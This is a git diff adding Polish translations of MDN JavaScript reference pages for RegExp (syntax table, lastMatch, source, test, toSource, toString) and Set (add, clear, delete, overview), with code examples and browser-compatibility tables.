Dla znaków które zwykle są traktowane dosłownie, oznacza że następny znak jest specjalny i nie ma być interpretowany standardowo.

+ +

Na przykład, /b/ szuka znaku "b". Wstawiając backslash (\) przed b, to jest używając /\b/, znak staje się specjalny "znajdź granicę wyrazu".

+ +

-lub-

+ +

Dla znaków, które zwykle są traktowane jako specjalne oznacza, że następny znak jest zwykły powinien być interpretowany dosłownie.

+ +

Na przykład, * jest znakiem specjalnym oznaczającym 0 lub więcej wystąpień poprzedzającego znaku powinno być znalezionych; na przykład, /a*/ oznacza "znajdź 0 lub więcej znaków a". Aby znaleźć dosłownie *, poprzedź ten znak backslashem (\), na przykład /a\*/ znajduje "a*".

+
^ +

Znajduje początek wejścia. Jeśli flaga wielu linii (ang. multiline) jest ustawiona na prawda (true), znajduje również od razu po znaku nowej linii.

+ +

Na przykład, /^B/ nie znajdzie "B" w "Andrzej B" ale znajdzie "B" w "Bogusław A".

+
$ +

Oznacza koniec wejścia. Jeśli flaga wielu linii (ang. multiline) jest ustawiona na prawda (true), znajduje również bezpośrednio przed znakiem końca linii.

+ +

Na przykład, /a$/ nie znajdzie "a" w "mrówkojad" ale znajdzie "a" w "mrówka".

+
* +

Znajduje poprzedzającą pozycję 0 lub więcej razy.

+ +

Na przykład, /bu*/ znajdzie "buuuu" w "Duch krzyknął buuuu" i "b" w "Głośnik zabrzmiał basowo" ale nic w "Ptak zaśpiewał".

+
+ +

Znajduje poprzedzającą pozycję 1 lub więcej razy. Równoważne do {1,}.

+ +

Na przykład, /r+/ dopasuje się do "r" w "cukierek" i do wszystkich "r" w "cukierrrrrrrek".

+
? +

Znajduje poprzedzającą pozycję 0 razy lub 1 raz.

+ +

Na przykład /o?ąt?/ znajdzie "oł" w "anioł" i "ąt" w "kąt".

+ +

Jeśli zostanie użyte zaraz po którymś ze znaków *, +, ?, lub {}, to wymusza przejście do trybu niezachłannego (domyślne jest dopasowanie zachłanne), czyli dopasowanie następuje do najmniejszego ciągu spełniającego wyrażenie, a nie do największego.

+ +

Pytajnik używany jest także w lookahead assertions, opisanych pod (?=), (?!) i (?:) w tej tabeli.

+
. +

(Kropka) znajduje jakikolwiek pojedynczy znak poza znakiem nowej linii.

+ +

Na przykład, /.a/ znajdzie "ja" i "na" w "jabłko rośnie na drzewie ale arbuz nie", ale nie znajdzie "al" i "ar".

+
(x) +

Znajduje "x" i zapamiętuje to dopasowanie. Nazywa się to "nawiasy wychwytujące" (ang. capturing parentheses).

+ +

Na przykład, /(foo)/ znajduje i zapamiętuje "foo" w "foo bar". Znaleziony pod-ciąg (substring) może być ponownie wywołany elementów tablicy wynikowej 1, ..., n jak również z predefiniowanych własności obiektu RegExp, $1, ..., $9.

+
(?:x) +

Znajduje "x", ale nie pamięta dopasowania. Nazywa się to "nawiasy niewychwytujące" (ang. non-capturing parentheses). Znaleziony podciąg (substring) nie może być wywołany ponownie z elementów wynikowych tablicy 1, ..., n ani za pomocą właściwości obiektu RegExp, $1, ..., $9.

+
x(?=y) +

Znajduje "x", tylko wtedy, gdy zaraz po "x" jest "y". Na przykład, /Jacek(?=Szprotka)/ znajdzie "Jacek" tylko, jeśli zaraz po tym jest wyraz "Szprotka". /Jacek(?=Szprotka|Mróz)/ znajdzie "Jacek" tylko, jeśli po tym jest zaraz wyraz "Szprotka" lub "Mróz"). Jednakże, ani "Szprotka" ani "Mróz" nie jest częścią wyników.

+
x(?!y) +

Znajduje "x", tylko, jeśli po "x" nie ma "y". Na przykład, /\d+(?!\,)/ zostanie dopasowane do liczby całkowitej, tylko jeśli nie ma po niej przecinka.

+ +

/\d+(?!\,)/.exec("3,141") zostanie dopasowane tylko do 141, nie zostanie dopasowane do 3, bo wystąpił po niej przecinek.

+
x|y +

Znajduje "x" lub "y".

+ +

Na przykład, /zielone|czerwone/ znajdzie "zielone" w "zielone jabłko" i "czerwone" w "czerwone jabłko".

+
{n} +

Gdzie n jest dodatnią liczbą całkowitą. Znajduje dokładnie n wystąpień poprzedzającej pozycji.

+ +

Na przykład, /u{2}/ nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i pierwsze dwa "u" w "cuuukierek".

+
{n,} +

Gdzie n jest dodatnią liczbą całkowitą. Znajduje, co najmniej n wystąpień poprzedzającej pozycji.

+ +

Na przykład, /u{2,}/ nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i w "cuuukierek".

+
{n,m} +

Gdzie n i m są pozytywnymi liczbami całkowitymi. Wyszukuje, co najmniej n i co najwyżej m wystąpień poprzedzającego wyrażenia.

+ +

Na przykład, /u{1,3}/ nie znajdzie niczego w "ckierek", znajdzie "u" w "cukierek", znajdzie dwa "u" w "cuukierek" i pierwsze trzy "u" w "cuuuuukierek". Zauważ, że podczas wyszukiwania w "cuuuuukierek", wynik wyszukiwania to "uuu" mimo iż ciąg oryginalny zawiera więcej liter "u".

+
xyz +

Zestaw znaków. Wyszukuje jakikolwiek z podanych znaków. Możesz podać przedział znaków używając myślnika.

+ +

Na przykład, abcd oznacza tyle samo, co a-d. Wyrażenia te znajdą "b" w "buziak" i "d" w "kasza".

+
^xyz +

Przeciwny zestaw znaków. Wyszukuje cokolwiek, co nie jest wewnątrz nawiasów. Podobnie jak powyżej można podać zakres znaków używając myślnika.

+ +

Na przykład, ^abc oznacza tyle samo, co ^a-c. Wyrażenia te znajdą "u" w "buziak" i "k" w "kasza".

+
\\b +

Wyszukuje znak backspace (nie mylić z \b).

+
\b +

Wyszukuje granicę wyrazów (ang. word boundary), jak na przykład spację (nie mylić z \\b).

+ +

Na przykład, /\bn\w/ zaznaczy "no" w "noonday"; /\wy\b/ zaznaczy "ly" w "possibly yesterday".

+
\B +

Znajduje brak granicy niewyrazu (ang. non-word boundary).

+ +

Na przykład, /\w\Bn/ zaznaczy "on" w "noonday", a /y\B\w/ zaznaczy "ye" w "possibly yesterday".

+
\cX +

Gdzie X jest literą od A do Z. Zaznacza znak kontrolny w ciągu.

+ +

Na przykład, /\cM/ zaznaczy control-M w stringu.

+
\d +

Znajduje cyfrę. Odpowiednik 0-9.

+ +

Na przykład, /\d/ lub /0-9/<code> zaznaczy "2" w "B2 jest numerem pokoju". </td> </tr>

+
\D +

Wyszukuje jakikolwiek znak nieliczbowy. Odpowiednik ^0-9') }}.

+ +

Na przykład, /\D/ lub /^0-9/ zaznaczy "B" w "B2 jest numerem pokoju".

+
\f +

Znajduje znak wysuwu wiersza (form feed).

+
\n +

Znajduje znak następnego wiersza (line feed).

+
\r +

Znajduje znak powrotu karetki (carriage return).

+
\s +

Znajduje pojedynczy biały znak (ang. white space character), wliczając w to spację, tabulator, znak wysuwu wiersza, znak następnego wiersza. Odpowiednik \\f\\n\\r\\t\\u00A0\\u2028\\u2029.

+ +

Na przykład, /\s\w*/ zaznaczy " bar" w "foo bar".

+
\S +

Zaznacza jakikolwiek znak inny niż biały (ang. white space). Odpowiednik ^ \\f\\n\\r\\t\\u00A0\\u2028\\u2029.

+ +

Na przykład, /\S/\w* zaznaczy "foo" w "foo bar".

+
\t +

Znajduje tabulator.

+
\v +

Znajduje pionowy tabulator (ang. vertical tab).

+
\w +

Znajduje jakikolwiek znak alfanumeryczny i znak podkreślenia _. Odpowiednik A-Za-z0-9_.

+ +

Na przykład, /\w/ zaznaczy "j" w "jabłko", "5" w "??5.28", i "3" w "3D".

+
\W +

Zaznaczy jakikolwiek znak niewyrazowy. Odpowiednik ^A-Za-z0-9_.

+ +

Na przykład, /\W/ lub /^$A-Za-z0-9_/ znajdzie "%" w "50%".

+
\n +

Gdzie n jest pozytywną liczbą całkowitą. Odwołanie wsteczne (ang. back reference) do ostatniego podciągu (substring) pasującego do n wyrażenia umieszczonego w nawiasie (licząc od nawiasu otwierającego "(").

+ +

Na przykład, /jabłko(,)\spomarańcz\1/ pasuje do "jabłko, pomarańcz," w "jabłko, pomarańcz, wiśnia, brzoskwinia". Dokładniejszy przykład znajduje się po tabeli.

+
\0 +

Wyszukuje znak NUL. Bezpośrednio po \0 nie powinna znajdować się żadna liczba.

+
\xhh +

Znajduje znak o kodzie hh (dwie cyfry szesnastkowe)

+
\uhhhh +

Znajduje znak o kodzie hhhh (cztery cyfry szesnastkowe).

+
+ +

Notacja tekstowa zostaje skompilowana, kiedy wyrażenie regularne jest wykonane. Używaj notacji tekstowej wtedy, kiedy wyrażenie regularne pozostanie niezmienione. Na przykład, jeśli użyjesz notacji tekstowej do konstrukcji wyrażenia regularnego w pętli, wyrażenie to nie zostanie przekompilowane podczas każdej iteracji.

+ +

Konstruktor obiektu wyrażenia regularnego, na przykład new RegExp("ab+c"), pozwala na kompilację podczas czasu wykonywania (ang. runtime compilation) wyrażenia. Używaj funkcji konstruktora, kiedy wiesz, że wzór wyrażenia regularnego będzie się zmieniać lub gdy nie znasz tego wzoru i pobierasz go z innego źródła, jak na przykład wejście użytkownika.

+ +

Oddzielny predefiniowany obiekt RegExp jest dostępny dla każdego okna, to jest każdy oddzielny wątek uruchomienia JavaScriptu dostaje jego własny obiekt RegExp. Jako że każdy skrypt uruchamiany jest cały w oddzielnym wątku, zapewnia to, iż oddzielne skrypty nie nadpisują wartości obiektu RegExp.

+ +

Własności

+ +
+
{{jsxref("RegExp.prototype")}}
+
Pozwala na dodanie własności wszystkim obiektom.
+
RegExp.length
+
Wartość parametru RegExp.length wynosi 2.
+
{{jsxref("RegExp.lastIndex")}}
+
Indeks, od którego rozpoczynać następne szukanie.
+
+ +

Metody

+ +

Globalny objekt RegExp nie posiada własnych metod, jednam może dziedziczyć metody z innych obiektów.

+ +

Przykłady

+ +

Przykład: Zastosowanie metody replace

+ +

Poniższy przykład używa metodę replace do zamiany wyrazów w ciągu (stringu). Podczas zamiany tekstu, skrypt używa "$1" i "$2" do oznaczenia wyników odpowiadających im nawiasów we wzorze wyrażenia regularnego.

+ +
var re = /(\w+)\s(\w+)/;
+var str = "Jan Kowalski";
+var newstr = str.replace(re, "$2, $1");
+document.write(newstr);
+
+ +

Wyświetli "Kowalski, Jan".

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/pl/web/javascript/reference/global_objects/regexp/lastmatch/index.html new file mode 100644 index 0000000000..4d229d5d81 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -0,0 +1,54 @@ +--- +title: RegExp.lastMatch ($&) +slug: Web/JavaScript/Referencje/Obiekty/RegExp/lastMatch +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch +--- +
{{JSRef}} {{non-standard_header}}
+ +

Niestandardowa właściwość lastMatch jest właściwością statyczną, tylko do odczytu wyrażeń regularnych, który zawiera ostatnie dopasowane znaki. RegExp.$& jest aliasem tej właściwości.

+ +

Syntax

+ +
RegExp.lastMatch
+RegExp['$&']
+
+ +

Description

+ +

The lastMatch property is static, it is not a property of an individual regular expression object. Instead, you always use it as RegExp.lastMatch or RegExp['$&'].

+ +

The value of the lastMatch property is read-only and modified whenever a successful match is made.

+ +

You can not use the shorthand alias with the dot property accessor (RegExp.$&), because the parser expects an expression with "&" in that case and a {{jsxref("SyntaxError")}} is thrown. Use the bracket notation for property access.

+ +

Examples

+ +

Using lastMatch and $&

+ +
var re = /hi/g;
+re.test('hi there!');
+RegExp.lastMatch; // "hi"
+RegExp['$&'];     // "hi"
+
+ +

Specifications

+ +

Niestandardowe. Nie jest częścią aktualnej specyfikacji.

+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.RegExp.lastMatch")}}

+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/source/index.html b/files/pl/web/javascript/reference/global_objects/regexp/source/index.html new file mode 100644 index 0000000000..78cf4c2a64 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/source/index.html @@ -0,0 +1,29 @@ +--- +title: RegExp.prototype.source +slug: Web/JavaScript/Referencje/Obiekty/RegExp/source +tags: + - JavaScript + - Property + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Własność tylko do odczytu stanowiąca wzór tekstu, wykluczając przesyłanie slashy.

+ +
{{js_property_attributes(0, 0, 1)}}
+ +

Opis

+ +

source jest własnością indywidualnej instancji wyrażenia regularnego obiektu.

+ +

Nie możesz zmienić tej własności bezpośrednio.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/test/index.html b/files/pl/web/javascript/reference/global_objects/regexp/test/index.html new file mode 100644 index 0000000000..e654bfb236 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/test/index.html @@ -0,0 +1,53 @@ +--- +title: RegExp.prototype.test() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/test +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wykonuje poszukiwanie łańcucha znaków pomiędzy wyrażeniem regularnym i określonym wzorcem. Zwraca true lub false.

+ +

Składnia

+ +
regexObj.test(str)
+ +

Parametry

+ +
+
str 
+
Łańcuch znaków w zależności od tego, czym jest wyrażenie regularne.
+
+ +

Opis

+ +

Jeśli chcesz wiedzieć, czy wzorzec został znaleziony w łańcuchu znaków zastosuj metodę test (podobną do metody {{jsxref("String.prototype.search()")}}); aby uzyskać więcej informacji (lecz powolniej wykonywana) zastosuj metodę {{jsxref("RegExp.prototype.exec()", "exec()")}}(podobną do metody {{jsxref("String.prototype.match()")}} ).

+ +

Przykłady

+ +

Przykład: Zastosowanie test()

+ +

Poniższy funkcja wypisuje wiadomość, której tekst zależy od powodzenia testu:

+ +
function testinput(re, str){
+   if (re.test(str)) {
+      midstring = " zawiera ";
+   } else {
+      midstring = " nie zawiera ";
+   }
+   console.log(str + midstring + re.source);
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/tosource/index.html b/files/pl/web/javascript/reference/global_objects/regexp/tosource/index.html new file mode 100644 index 0000000000..4ac074392b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/tosource/index.html @@ -0,0 +1,47 @@ +--- +title: RegExp.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/toSource +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource +--- +

{{JSRef}}{{Non-standard_header}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

+ +

Składnia

+ +
regexObj.toSource()
+
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda toSource() zwraca następujące wartości:

+ + + +

Ta metoda jest często nazywana wewnętrzną metodą JavaScriptu i nie jest widoczna w kodzie.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/tostring/index.html b/files/pl/web/javascript/reference/global_objects/regexp/tostring/index.html new file mode 100644 index 0000000000..fb78233ff2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/tostring/index.html @@ -0,0 +1,46 @@ +--- +title: RegExp.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/toString +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący określony obiekt.

+ +

Składnia

+ +
regexObj.toString();
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Obiekt {{jsxref("RegExp")}} przypisuje toString() metodzie obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektu {{jsxref("RegExp")}}, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

+ +

Przykłady

+ +

Przykład: Zastosowanie toString()

+ +

Następujący przykład wyświetla wartość łańcucha znaków obiektu RegExp:

+ +
var myExp = new RegExp('a+b+c');
+console.log(myExp.toString());  // wyświetli '/a+b+c/'
+
+var foo = new RegExp('bar', 'g');
+console.log(foo.toString());    // wyświetli '/bar/g'
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/set/add/index.html b/files/pl/web/javascript/reference/global_objects/set/add/index.html new file mode 100644 index 0000000000..397939f84e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/set/add/index.html @@ -0,0 +1,134 @@ +--- +title: Set.prototype.add() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.add() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/add +--- +
{{JSRef}}
+ +

Metoda add() dodaje nowy element o określonej wartości (value) na koniec obieku Set.

+ +

Składnia

+ +
mySet.add(value);
+ +

Parametry

+ +
+
value
+
Wymagany parametr. Wartość elementu, która zostanie dodana do obieku Set.
+
+ +

Zwracana wartość

+ +

Obiekt Set.

+ +

Przykłady

+ +

Użycie metody add

+ +
var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('some text'); // można stworzyć "łańcuch"
+
+console.log(mySet);
+// Set [1, 5, "some text"]
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}11257.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatVersionUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatNo}}{{CompatNo}}8
+
+ +

Specyficzne zachowania w przeglądarkach

+ + + +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/set/clear/index.html b/files/pl/web/javascript/reference/global_objects/set/clear/index.html new file mode 100644 index 0000000000..85ca894da9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/set/clear/index.html @@ -0,0 +1,124 @@ +--- +title: Set.prototype.clear() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.clear() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear +--- +
{{JSRef}}
+ +

Metoda clear() usuwa wszystkie elementy obiektu Set.

+ +

Składnia

+ +
mySet.clear();
+ +

Zwracana wartość

+ +

{{jsxref("undefined")}}.

+ +

Przykłady

+ +

Użycie metody clear

+ +
var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size;       // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size;       // 0
+mySet.has('bar')  // false
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{CompatGeckoDesktop("19.0")}}11257.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}25{{CompatVersionUnknown}}{{CompatGeckoMobile("19.0")}}{{CompatNo}}{{CompatNo}}8
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/set/delete/index.html b/files/pl/web/javascript/reference/global_objects/set/delete/index.html new file mode 100644 index 0000000000..7071c9e4eb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/set/delete/index.html @@ -0,0 +1,102 @@ +--- +title: Set.prototype.delete() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.delete() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete +--- +
{{JSRef}}
+ +

Metoda delete() usuwa określony element z obiektu Set.

+ +

Składnia

+ +
mySet.delete(value);
+ +

Parametry

+ +
+
value
+
Wymagany parametr. Wartość elementu, która zostanie usunięta z obiektu Set.
+
+ +

Zwracana wartość

+ +

true jeżeli element został pomyślnie usunięty, w innym wypadku false.

+ +

Przykłady

+ +

Użycie metody delete

+ +
var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Zwraca false. Brak elementu "bar" do usunięca.
+mySet.delete('foo'); // Zwraca true.  Usunięto pomyślnie.
+
+mySet.has('foo');    // Zwraca false. Element "foo" nie znajduje się już w Set.
+
+ +

Jak usunąć obiekt z Set:

+ +
var points = new Set(); // Tworzy Set
+
+points.add({x: 10, y: 20}); // Dodaje obiekt do Set
+points.add({x: 20, y: 30}); // Dodaje obiekt do Set
+
+// Usuwa point, dla którego `x > 10`
+points.forEach(function(point){
+  if(point.x > 10){
+    points.delete(point);
+  }
+})
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +

 

+ + + +

{{Compat("javascript.builtins.Set.delete")}}

+ +

 

+ +
 
+ +
 
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/set/index.html b/files/pl/web/javascript/reference/global_objects/set/index.html new file mode 100644 index 0000000000..ca9cc37a93 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/set/index.html @@ -0,0 +1,486 @@ +--- +title: Set +slug: Web/JavaScript/Referencje/Obiekty/Set +tags: + - ECMAScript 2015 + - ECMAScript6 + - Global Objects + - JavaScript + - Object + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set +--- +
{{JSRef}}
+ +

Obiekt Set umożliwia przechowywanie unikalnych wartości każdego typu, zarówno {{Glossary("Primitive", "primitywów")}} jak i obiektów.

+ +

Składnia

+ +
new Set([iterable]);
+ +

Parametry

+ +
+
iterable
+
Jeżeli przekażesz obiekt iterowalny, wszystkie jego elementy zostaną dodane do nowego Set. Podczas gdy nie przekażemy żadnego parametru lub wartość parametru będzie równa null, zostanie stworzony pusty Set.
+
+ +

Zwracana wartość

+ +

Nowy obiekt Set.

+ +

Opis

+ +

Obiekt Set jest kolekcją wartości. Możesz iterować po elementach Set w kolejności, w której zostały dodane. Wartość w Set może występować tylko jeden raz.

+ +

Równość wartości

+ +

Dlatego, że każda wartość w Set musi być unikalna, musi zostać to sprawdzone. We wcześniejszych specyfikacjach ECMAScript nie było to oparte na tym samym algorytmie co w przypadku operatora ===. Konkretnie dla Set +0 (co jest tym samym co -0) i -0 były innymi wartościami. W specyfikacji ECMAScript 2015 zostało to zmienione. Zobacz "Value equality for -0 and 0" w tabeli Kompatybilność z przeglądarkami.

+ +

NaN i undefined mogą być przechowywane w Set. NaN w Set uważane jest za równe NaN, podczas gdy NaN !== NaN zwraca true

+ +

Własności

+ +
+
Set.length
+
Wartość length zawsze wynosi 0.
+
{{jsxref("Set.@@species", "get Set[@@species]")}}
+
Funkcja wykorzystywana do stworzenia pochodnych obiektów.
+
{{jsxref("Set.prototype")}}
+
Reprezentuje prototyp konstruktora Set. Pozwala na dodanie własności do obiektu Set.
+
+ +

Instancje Set

+ +

Wszystkie instancje Set dziedziczą od {{jsxref("Set.prototype")}}.

+ +

Własności

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}

+ +

Metody

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}

+ +

Przykłady

+ +

Użycie obiektu Set

+ +
var mySet = new Set();
+
+mySet.add(1); // Set { 1 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add('some text'); // Set { 1, 5, 'some text' }
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // o jest referencją do innego obiektu, więc dwa obiekty zostają dodane do Set.
+
+mySet.has(1); // true
+mySet.has(3); // false, 3 nie zostało dodane do Set.
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // Usuwa 5 z Set.
+mySet.has(5);    // false, 5 zostało usunięte.
+
+mySet.size; // 4, usuneliśmy jedną wartość.
+console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}
+ +

Iterowanie po Set.

+ +
// Iterowanie po items w Set.
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+//(key i value są takie same)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// zamienia Set na Array, przy użyciu Array.from
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
+
+// następujące funkcje również zadziałają, jeżeli skrypt odpalony jest w dokumencie HTML
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// zamiana Array na Set i na odwrót
+mySet2 = new Set([1, 2, 3, 4]);
+mySet2.size; // 4
+[...mySet2]; // [1, 2, 3, 4]
+
+// Set z wartościami, które są w set1 i set2, może być uzyskany następująco
+var intersection = new Set([...set1].filter(x => set2.has(x)));
+
+// Set z różnicami wartości set1 i set2 może być uzyskany następująco
+var difference = new Set([...set1].filter(x => !set2.has(x)));
+
+// iterowanie po Set za pomocą .forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+// 1
+// 2
+// 3
+// 4
+ +

Implementacja podstawowych operacji Set

+ +
Set.prototype.isSuperset = function(subset) {
+    for (var elem of subset) {
+        if (!this.has(elem)) {
+            return false;
+        }
+    }
+    return true;
+}
+
+Set.prototype.union = function(setB) {
+    var union = new Set(this);
+    for (var elem of setB) {
+        union.add(elem);
+    }
+    return union;
+}
+
+Set.prototype.intersection = function(setB) {
+    var intersection = new Set();
+    for (var elem of setB) {
+        if (this.has(elem)) {
+            intersection.add(elem);
+        }
+    }
+    return intersection;
+}
+
+Set.prototype.difference = function(setB) {
+    var difference = new Set(this);
+    for (var elem of setB) {
+        difference.delete(elem);
+    }
+    return difference;
+}
+
+// Przykłady
+var setA = new Set([1, 2, 3, 4]),
+    setB = new Set([2, 3]),
+    setC = new Set([3, 4, 5, 6]);
+
+setA.isSuperset(setB); // => true
+setA.union(setC); // => Set [1, 2, 3, 4, 5, 6]
+setA.intersection(setC); // => Set [3, 4]
+setA.difference(setC); // => Set [1, 2]
+
+
+ +

Relacje z Tablicami (Array)

+ +
var myArray = ['value1', 'value2', 'value3'];
+
+// Użycie konstruktora Set do zamiany Array na Set.
+var mySet = new Set(myArray);
+
+mySet.has('value1'); // => true
+
+// Użycie spread operator do zamiany Set na Array.
+console.log([...mySet]); // Will show you exactly the same Array as myArray
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set-objects', 'Set')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support +

{{ CompatChrome(38) }} [1]

+
12{{ CompatGeckoDesktop("13") }}{{ CompatIE("11") }}257.1
Constructor argument: new Set(iterable){{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}259.0
iterable{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("17") }}{{CompatNo}}257.1
Set.add() returns the set{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}257.1
Set.clear(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("19")}}{{ CompatIE("11") }}257.1
Set.keys(), Set.values(), Set.entries(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("24")}}{{CompatNo}}257.1
Set.forEach(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("25")}}{{ CompatIE("11") }}257.1
Value equality for -0 and 0{{ CompatChrome(38) }}12{{CompatGeckoDesktop("29")}}{{CompatNo}}25{{CompatSafari(9)}}
